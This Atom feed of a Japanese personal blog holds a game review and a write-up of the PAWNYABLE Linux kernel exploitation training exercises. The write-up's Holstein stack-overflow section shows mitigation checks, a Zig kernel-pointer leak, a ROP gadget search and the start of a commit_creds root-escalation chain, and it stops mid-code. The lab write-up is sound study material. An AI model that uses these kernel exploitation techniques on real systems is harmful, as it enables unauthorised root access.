<feed xmlns="http://www.w3.org/2005/Atom">
  <title>feyor.sh</title>
  <link href="https://feyor.sh/jp/atom.xml" rel="self"/>
  <link href="https://feyor.sh/jp/"/>
  
  <updated>2026-05-31T08:38:47-05:00</updated>
  
  <id>https://feyor.sh/jp/</id>
  
  <author>
    <name>George Huebner</name>
    
    <email>george@feyor.sh</email>
    
  </author>
  
  
  <entry>
    <title type="html"><![CDATA[エクスペディション33：まじで神ゲ]]></title>
    <link href="https://feyor.sh/jp/blog/expedition-33-review/"/>
    <id>tag:feyor.sh:4fcb6c55-954d-490d-a710-4957c788bdfe</id>
    
    <author>
      <name>George Huebner</name>
    </author>
    
    <published>2026-03-13T00:00:00+00:00</published>
    <updated>2026-03-22T15:48:27-05:00</updated>
    
    
    <content type="html" xml:base="https://feyor.sh/jp/blog/expedition-33-review/"><![CDATA[<p>大げさと思うかも、でも本当に超面白かった。
凄すぎて、ほんの少しだけフランス国を見直した（冗談、許してくれフランス人）。</p>
<p>最近あまりゲームやってないので、だが毎回このゲームを起動した、終始で夢中だった。
少しでも勧めたくて、だからこの投稿を書いた（「後に続く者たちのために」と言ってもいい）。
アメリカにはハヤてるけど、日本でよく売れるかは僕には知らない（<a href="https://awards.cesa.or.jp/2025/year/prize/">日本ゲーム大賞</a>のブレイクスルー賞を受賞したも知ってるが、プレイヤー数とか知らん）。
一人さえクレール・オブスキュールを買う価値がると納得してるなら僕の役目は張たせた。</p>
<h2 id="音楽">音楽</h2>
<p>最高。</p>
<p>断言できる：ロリエン・テスタルドは天才<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>。
僕の言うことを信じなくていい：自分で聴いて！</p>
<iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/soundcloud%253Atracks%253A2075320572&color=%23ff5500&auto_play=false&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true">
<a href="https://soundcloud.com/lorientestard/une-vie-a-taimer">Une vie à t'aimer</a>
</iframe>
<p>くだらない会で気を抜く時に、テストに本気出す時に、こんな曲に考える。</p>
<p>僕の好みは多分<a href="https://www.youtube.com/watch?v=4KWh3QX5aEI">Serpenphare</a>、<a href="https://www.youtube.com/watch?v=MEz_VEDmri8">Clea</a>、<a href="https://www.youtube.com/watch?v=-i_nT9d-mK8">Une vie à peindre</a>と<a href="https://www.youtube.com/watch?v=O4D2bpTeqZ0">The End in Me</a>、でも悪い曲など存在しない。</p>
<h2 id="物語">物語</h2>
<p>結構いいと思うぜ。
感情的と面白いなシーンもあり、それとベル・エポックのファンタジー舞台は美しい。</p>
<figure><img src="https://feyor.sh/jp/blog/expedition-33-review/cutscene.webp"
    alt="ギュスターブは遠征隊50の作戦を説明する">
</figure>

<p>何も知らないままの方が一番楽しめると思うから、読むのはやめた方がいい。</p>
<p>ネタバレ：第1幕終了</p>
<div class="spoiler" aria-label="Spoiler"><div aria-hidden="true" class="spoiler-warning">SPOILER WARNING:</div>
<figure><img src="https://feyor.sh/jp/blog/expedition-33-review/visages.webp"
    alt="ギュスターブが目立っているヴィサージュの戦い；でもこの時点ですでに亡くなった">
</figure>
<p>ギュスターヴの死は全く予測しなかった。
Sandfallのやつめ、第二幕の戦いのティーザーにわざとギュスターヴをパーティに入れた。
そして彼の死の時点でまだ数々のスキルがあったはずなのに。
つまりショックだった。</p>
  <div aria-hidden="true" class="spoiler-warning">END SPOILER</div></div>
<p>ネタバレ：第3幕終了</p>
<div class="spoiler" aria-label="Spoiler"><div aria-hidden="true" class="spoiler-warning">SPOILER WARNING:</div>
ヴェルソとマエルのどちか選ぶのは超難しかったな。
僕はヴェルソ波だけど、どちにせよとっても悲しい終わりだ。
<p>それとエスキエーとシエルの会話の時に涙が出るほど感動した。</p>
  <div aria-hidden="true" class="spoiler-warning">END SPOILER</div></div>
<p>ああ、それと演技（声もモーキャプ）も上手だ。ジェニファー・イングリッシュ（マエル）はたくさん称賛を貰ったけど、当然なことだ。</p>
<h2 id="ゲームプレイ">ゲームプレイ</h2>
<figure><img src="https://feyor.sh/jp/blog/expedition-33-review/battle.webp"
    alt="シエルのスキル">
</figure>

<p>最初は「ああ、やっぱチョロいそう」と思ったんだけど、ターン制バトルとリアルタイムバトルの融合はいいバランスだ。
ローリスクな遊び方を望めば避けるだけでいい。それ以外はパリィ。</p>
<p>進行には文句は言わない。
強すぎな状況はある（終盤に近い時が最も<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>）が、オマケボスはかなりタフですよね。</p>
<figure><img src="https://feyor.sh/jp/blog/expedition-33-review/dialog.webp"
    alt="とあるの幼い少年との会話">
</figure>

<p>探検は何てことのない。
景色はすごいけど、登山と周りを歩くのは普通のアンリアルエンジンのゲーム。
戦闘は別だ：ビルドをじっくり作り込むのはいい気分だ（文字どおりのスキルアップ）。</p>
<figure><img src="https://feyor.sh/jp/blog/expedition-33-review/pictos.webp"
    alt="例えのピクトスビルド">
</figure>

<p>個人的に燃やすビルドは結構おもろい：モノコ（バゲットアロを持って）はバフとデバフをつけ、ヴェルソ（コープソを持って）は機関銃だ、それとマエル（メダルウムかDLCのリコルウムのどちかを持って）はバーニング・キャンバスで敵を燃やす。
一か八か（殺すか殺されるか）のビルドもあるよ。</p>
<p>もちろんつまらないスキルもある（ゲホステンハルゲホ）&hellip;なんちゃら機会があればプレイヤーは最適化でゲームの楽しみを消去してしまう。</p>
<h2 id="結論">結論</h2>
<p>何で僕の漫言まだ読んでるんだ！
早くクレール・オブスキュールを試して！</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>この大作以外に一歳経験がない。おかしくねえ！？&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>ネタバレ：第3幕 <span class="spoiler" aria-label="Spoiler"><span aria-hidden="true" class="spoiler-warning">SPOILER WARNING: </span>数時間シモンと戦い、それをちょっと楽にするためにピクトスとルミナを最適化した。でも麻痺はぶっ壊れから「遠征隊がキャンバスから消される」のやつを使う前に殺した&hellip;ちょっとがっかした　(＃￣ω￣)<span aria-hidden="true" class="spoiler-warning"> END SPOILER</span></span>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content>
    
  </entry>
  
  <entry>
    <title type="html"><![CDATA[PAWNYABLE]]></title>
    <link href="https://feyor.sh/jp/writeups/pawnyable/"/>
    <id>https://feyor.sh/jp/writeups/pawnyable/</id>
    
    <author>
      <name>George Huebner</name>
    </author>
    
    <published>2025-07-30T00:00:00+00:00</published>
    <updated>2026-06-03T20:49:10-05:00</updated>
    
    
    <content type="html" xml:base="https://feyor.sh/jp/writeups/pawnyable/"><![CDATA[<div class="ox-hugo-toc toc">
<div class="heading">Table of Contents</div>
<ul>
<li><a href="/jp/writeups/pawnyable/#holstein">Holstein</a>
<ul>
<li><a href="/jp/writeups/pawnyable/#v1-stack-overflow">v1: Stack Overflow</a></li>
<li><a href="/jp/writeups/pawnyable/#v2-heap-overflow">v2: Heap Overflow</a></li>
<li><a href="/jp/writeups/pawnyable/#v3-use-after-free">v3: Use after Free</a></li>
<li><a href="/jp/writeups/pawnyable/#v4-race-condition">v4: Race Condition</a></li>
</ul>
</li>
<li><a href="/jp/writeups/pawnyable/#angus">Angus</a></li>
<li><a href="/jp/writeups/pawnyable/#dexter">Dexter</a></li>
<li><a href="/jp/writeups/pawnyable/#fleckvieh">Fleckvieh</a>
<ul>
<li><a href="/jp/writeups/pawnyable/#userfaultfd">userfaultfd</a></li>
<li><a href="/jp/writeups/pawnyable/#fuse">FUSE</a></li>
</ul>
</li>
<li><a href="/jp/writeups/pawnyable/#brahman">Brahman</a>
<ul>
<li><a href="/jp/writeups/pawnyable/#cve-2021-3490">CVE-2021-3490</a></li>
</ul>
</li>
</ul>
</div>
<!--endtoc-->
<p>ptr-yudaiさんの<a href="https://pawnyable.cafe/linux-kernel/">PAWNYABLE</a>を解いてみた。
以下の解法は複雑で、しかも説明は詳しくないかもしれないから、参考以外を利用するには多分難しいだろう。
PAWNYABLEは実にいい資料だから、pwnを学びたいなら、このページを閉じて、そちらに練習してください。</p>
<p>僕の日本語は下手くそ<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>だが、それでも書く練習したいと思っている。
それと、pwnにZigを使うことは非常に便利ですが（ま、Cよりも）、ですが資料が存在しないらしい。</p>
<h2 id="holstein">Holstein</h2>
<h3 id="v1-stack-overflow">v1: Stack Overflow</h3>
<p>さて、どの緩和策は有効をチェックしよう。</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>pwn checksec vuln.ko 2&gt;&amp;<span style="color:#00bcff">1</span></span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[*] &#39;./src/vuln.ko&#39;
</span></span><span style="display:flex;"><span>    Arch:       amd64-64-little
</span></span><span style="display:flex;"><span>    RELRO:      No RELRO
</span></span><span style="display:flex;"><span>    Stack:      No canary found
</span></span><span style="display:flex;"><span>    NX:         NX enabled
</span></span><span style="display:flex;"><span>    PIE:        No PIE (0x0)
</span></span><span style="display:flex;"><span>    Stripped:   No</span></span></code></pre></div>






  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cat /proc/cpuinfo | grep -q -e <span style="color:#79a8ff">&#39;smep.*smap&#39;</span> <span style="color:#00d3d0">&amp;&amp;</span> <span style="color:#f78fe7">echo</span> <span style="color:#79a8ff">&#39;SMEP/SMAP enabled&#39;</span>
</span></span><span style="display:flex;"><span>cat /sys/devices/system/cpu/vulnerabilities/meltdown | grep -q -e <span style="color:#79a8ff">&#39;PTI&#39;</span> <span style="color:#00d3d0">&amp;&amp;</span> <span style="color:#f78fe7">echo</span> <span style="color:#79a8ff">&#39;KPTI enabled&#39;</span>
</span></span><span style="display:flex;"><span>cat /proc/cmdline | grep -q -e <span style="color:#79a8ff">&#39;nokaslr&#39;</span> <span style="color:#00d3d0">||</span> <span style="color:#f78fe7">echo</span> <span style="color:#79a8ff">&#39;KASLR enabled&#39;</span></span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>SMEP/SMAP enabled
</span></span><span style="display:flex;"><span>KPTI enabled
</span></span><span style="display:flex;"><span>KASLR enabled</span></span></code></pre></div>

<p>FGKASLRもチェックしよう:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cat /proc/kallsyms | grep -e <span style="color:#79a8ff">&#39;startup_64&#39;</span> -e <span style="color:#79a8ff">&#39;swapgs_restore_regs_and_return_to_usermode&#39;</span> -e <span style="color:#79a8ff">&#39;prepare_kernel_cred&#39;</span> -e <span style="color:#79a8ff">&#39;commit_creds&#39;</span></span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ffffffff99200000 T startup_64
</span></span><span style="display:flex;"><span>ffffffff99200040 T secondary_startup_64
</span></span><span style="display:flex;"><span>ffffffff99200045 T secondary_startup_64_no_verify
</span></span><span style="display:flex;"><span>ffffffff99200230 T __startup_64
</span></span><span style="display:flex;"><span>ffffffff992005e0 T startup_64_setup_env
</span></span><span style="display:flex;"><span>ffffffff9926e240 T prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffff9926e390 T commit_creds
</span></span><span style="display:flex;"><span>ffffffff99a00e10 T swapgs_restore_regs_and_return_to_usermode</span></span></code></pre></div>






  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span><span style="color:#a8a8a8"># reboot and run again</span>
</span></span><span style="display:flex;"><span>cat /proc/kallsyms | grep -e <span style="color:#79a8ff">&#39;startup_64&#39;</span> -e <span style="color:#79a8ff">&#39;swapgs_restore_regs_and_return_to_usermode&#39;</span> -e <span style="color:#79a8ff">&#39;prepare_kernel_cred&#39;</span> -e <span style="color:#79a8ff">&#39;commit_creds&#39;</span></span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ffffffffb7600000 T startup_64
</span></span><span style="display:flex;"><span>ffffffffb7600040 T secondary_startup_64
</span></span><span style="display:flex;"><span>ffffffffb7600045 T secondary_startup_64_no_verify
</span></span><span style="display:flex;"><span>ffffffffb7600230 T __startup_64
</span></span><span style="display:flex;"><span>ffffffffb76005e0 T startup_64_setup_env
</span></span><span style="display:flex;"><span>ffffffffb766e240 T prepare_kernel_cred
</span></span><span style="display:flex;"><span>ffffffffb766e390 T commit_creds
</span></span><span style="display:flex;"><span>ffffffffb7e00e10 T swapgs_restore_regs_and_return_to_usermode</span></span></code></pre></div>

<p>まず、KASLRを回避するてめに、アドレスリークが必要だ。</p>
<p><a id="code-snippet--base-address-leak"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> std <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@import</span>(<span style="color:#79a8ff">&#34;std&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">main</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> fd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/dev/holstein&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDWR }, <span style="color:#00bcff">0o660</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> std.posix.<span style="color:#feacd0">close</span>(fd);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">0x400</span> <span style="color:#00d3d0">+</span> <span style="color:#00bcff">32</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> bytes_read <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.posix.<span style="color:#feacd0">read</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">dumpHex</span>(buf[<span style="color:#00bcff">0</span>..bytes_read]);
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ffffffffa0a00000 T startup_64
</span></span><span style="display:flex;"><span>ffffffffa0a00000 T _stext
</span></span><span style="display:flex;"><span>ffffffffa0a00000 T _text
</span></span><span style="display:flex;"><span>ffffffffa0a00040 T secondary_startup_64
</span></span><span style="display:flex;"><span>ffffffffa0a00045 T secondary_startup_64_no_verify
</span></span><span style="display:flex;"><span>ffffffffa0a00110 t verify_cpu
</span></span><span style="display:flex;"><span>ffffffffa0a00210 T sev_verify_cbit
</span></span><span style="display:flex;"><span>ffffffffa0a00220 T start_cpu0
</span></span><span style="display:flex;"><span>ffffffffa0a00230 T __startup_64
</span></span><span style="display:flex;"><span>ffffffffa0a005e0 T startup_64_setup_env
</span></span><span style="display:flex;"><span>00007ffdcedd8528  06 00 00 00 04 00 00 00  40 00 00 00 00 00 00 00  ........@.......
</span></span><span style="display:flex;"><span>00007ffdcedd8538  40 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00  @.......@.......
</span></span><span style="display:flex;"><span>00007ffdcedd8548  68 02 00 00 00 00 00 00  68 02 00 00 00 00 00 00  h.......h.......
</span></span><span style="display:flex;"><span>00007ffdcedd8558  08 00 00 00 00 00 00 00  03 00 00 00 04 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8568  A8 02 00 00 00 00 00 00  A8 02 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8578  A8 02 00 00 00 00 00 00  16 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8588  16 00 00 00 00 00 00 00  01 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8598  01 00 00 00 04 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd85a8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd85b8  50 AA 00 00 00 00 00 00  50 AA 00 00 00 00 00 00  P.......P.......
</span></span><span style="display:flex;"><span>00007ffdcedd85c8  00 10 00 00 00 00 00 00  01 00 00 00 05 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd85d8  00 B0 00 00 00 00 00 00  00 B0 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd85e8  00 B0 00 00 00 00 00 00  A4 FF 07 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd85f8  A4 FF 07 00 00 00 00 00  00 10 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8608  01 00 00 00 04 00 00 00  00 B0 08 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8618  00 B0 08 00 00 00 00 00  00 B0 08 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8628  DC 68 02 00 00 00 00 00  DC 68 02 00 00 00 00 00  .h.......h......
</span></span><span style="display:flex;"><span>00007ffdcedd8638  00 10 00 00 00 00 00 00  01 00 00 00 06 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8648  20 22 0B 00 00 00 00 00  20 32 0B 00 00 00 00 00   &#34;...... 2......
</span></span><span style="display:flex;"><span>00007ffdcedd8658  20 32 0B 00 00 00 00 00  03 2E 00 00 00 00 00 00   2..............
</span></span><span style="display:flex;"><span>00007ffdcedd8668  70 35 00 00 00 00 00 00  00 10 00 00 00 00 00 00  p5..............
</span></span><span style="display:flex;"><span>00007ffdcedd8678  02 00 00 00 06 00 00 00  90 43 0B 00 00 00 00 00  .........C......
</span></span><span style="display:flex;"><span>00007ffdcedd8688  90 53 0B 00 00 00 00 00  90 53 0B 00 00 00 00 00  .S.......S......
</span></span><span style="display:flex;"><span>00007ffdcedd8698  90 01 00 00 00 00 00 00  90 01 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd86a8  08 00 00 00 00 00 00 00  04 00 00 00 04 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd86b8  C0 02 00 00 00 00 00 00  C0 02 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd86c8  C0 02 00 00 00 00 00 00  30 00 00 00 00 00 00 00  ........0.......
</span></span><span style="display:flex;"><span>00007ffdcedd86d8  30 00 00 00 00 00 00 00  08 00 00 00 00 00 00 00  0...............
</span></span><span style="display:flex;"><span>00007ffdcedd86e8  53 E5 74 64 04 00 00 00  C0 02 00 00 00 00 00 00  S.td............
</span></span><span style="display:flex;"><span>00007ffdcedd86f8  C0 02 00 00 00 00 00 00  C0 02 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8708  30 00 00 00 00 00 00 00  30 00 00 00 00 00 00 00  0.......0.......
</span></span><span style="display:flex;"><span>00007ffdcedd8718  08 00 00 00 00 00 00 00  51 E5 74 64 06 00 00 00  ........Q.td....
</span></span><span style="display:flex;"><span>00007ffdcedd8728  00 2C 3B 03 8C 9B FF FF  00 00 00 00 00 00 00 00  .,;.............
</span></span><span style="display:flex;"><span>00007ffdcedd8738  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8748  00 00 00 00 00 00 00 00  10 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8758  52 E5 74 64 04 00 00 00  20 22 0B 00 00 00 00 00  R.td.... &#34;......
</span></span><span style="display:flex;"><span>00007ffdcedd8768  20 32 0B 00 00 00 00 00  20 32 0B 00 00 00 00 00   2...... 2......
</span></span><span style="display:flex;"><span>00007ffdcedd8778  E0 2D 00 00 00 00 00 00  E0 2D 00 00 00 00 00 00  .-.......-......
</span></span><span style="display:flex;"><span>00007ffdcedd8788  01 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8798  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd87a8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd87b8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd87c8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd87d8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd87e8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd87f8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8808  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8818  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8828  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8838  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8848  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8858  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8868  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8878  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8888  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8898  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd88a8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd88b8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd88c8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd88d8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd88e8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd88f8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8908  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8918  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
</span></span><span style="display:flex;"><span>00007ffdcedd8928  E8 7E 54 80 04 B2 FF FF  3C D3 B3 A0 FF FF FF FF  .~T.....&lt;.......
</span></span><span style="display:flex;"><span>00007ffdcedd8938  87 CD B4 A0 01 00 00 00  00 8A 6B 02 8C 9B FF FF  ..........k.....</span></span></code></pre></div>

<p><kbd>buf[0x408..][0..8]</kbd>​はカーネルのポインタが似てそう。
何回を動かすでも、このアドレスはカーネルのベースアドレスからのオフセットは固定（差は​<code>0x13d33c</code>​）。</p>
<p>狙いはroot権限昇格なので、ROPchainで​<kbd>commit_creds(prepare_kernel_cred(NULL))</kbd>​を呼びしよう。</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ropr --nosys --nojop -R <span style="color:#79a8ff">&#39;^(pop rdi;|pop rcx;|mov rsi, rax;.*|add rdi, rsi;.*) ret;&#39;</span> vmlinux</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0xffffffff81049576: add rdi, rsi; add r8, rdi; mov rax, r8; ret;
</span></span><span style="display:flex;"><span>0xffffffff810a714a: mov rsi, rax; sub rsi, rcx; cmp rdx, rax; cmovs r8, rsi; mov rax, r8; ret;
</span></span><span style="display:flex;"><span>0xffffffff81c9480d: pop rcx; ret;
</span></span><span style="display:flex;"><span>0xffffffff81cc6e66: pop rdi; ret;
</span></span><span style="display:flex;"><span>0xffffffff81f1f0e9: pop rdi; ret;
</span></span><span style="display:flex;"><span>0xffffffff81f496b1: add rdi, rsi; mov [rdi], rdx; mov [rdi+8], rcx; mov [rdi+0x10], r8d; ret;</span></span></code></pre></div>

<p><a id="code-snippet--lk01-1-ropchain"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> POP_RDI<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff811f61fd</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> POP_RCX<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff8146ee3c</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81049576</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff810a714a</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> KPTI_TRAMPOLINE<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81800e10</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">22</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> PREPARE_KERNEL_CRED<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff8106e240</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> COMMIT_CREDS<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff8106e390</span>;
</span></span><span style="display:flex;"><span>
